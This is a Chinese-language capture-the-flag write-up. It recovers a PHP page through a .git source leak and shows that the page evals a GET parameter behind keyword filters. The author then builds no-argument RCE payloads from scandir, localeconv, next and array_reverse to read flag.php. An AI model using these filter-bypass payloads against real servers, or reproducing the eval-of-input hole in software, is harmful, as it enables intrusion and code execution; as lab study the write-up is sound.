这里fuzz了一下,已经确认是源码泄露了,因为都没什么线索了,但是这问题就来了,用dirsearch扫的话,就会因为访问次数过快,导致扫描不出来,啊,那就瞄一下师傅们的wp叭!
.git源码泄露,用GitHack拿到index.php:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
看到了eval($_GET['exp'])
,就是一句话木马的GET方式,题目又加了好多过滤限制了REC,这就考验做题者的积累了(我小白积累太少了)。
看代码,第一个if
:常用的伪协议被禁了,第二个if
正则匹配,?R
表示引用当前表达式,就比如引用一次:
[a-z,_]+[a-z,_]+\((?R)?\)
,所以一个合法的表达式可以是a(b();)
,括号和字符组成的,第三个if
就过滤一些字眼。
无参RCE,先看能不能爆出目录:
一、scandir()
百度得知,scandir的使用是至少必需要有一个directory的,但是我们又没有办法去定义一个变量,这时候就要考虑php有没有什么函数是自带常量的:
二、localeconv()
既然是数组,就要用到:
三、current()
payload:?exp=print_r(scandir(current(localeconv())));
目录爆出来了,接下来该怎么操作,才能拿到flag.php的内容呢,我看到有一个函数:
四、next()
那先在本地试一下:
<?php
$people = array("Bill", "Steve", "Mark", "David");
echo current($people) . "<br>"; // 当前元素是 Bill
echo next($people) . "<br>"; // Bill 的下一个元素是 Steve
echo next($people) . "<br>";
?>
运行结果:
两次next后取到了Mark,所以,payload:
?exp=highlight_file(next(next(next(scandir(current(localeconv()))))));
额,这个不对-,我又在本地测试了一下:
<?php
$people = array("Bill", "Steve", "Mark", "David");
echo current($people) . "<br>"; // 当前元素是 Bill
echo next(next($people)) . "<br>"; // Bill 的下一个元素是 Steve
?>
好吧,换个思路:scandir函数的返回值是一个数组,如果把数组逆序排列,再用一个next不就可以了吗,然后找到了:
五、array_reverse()
highlight_file
输出,payload:
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
拿到flag。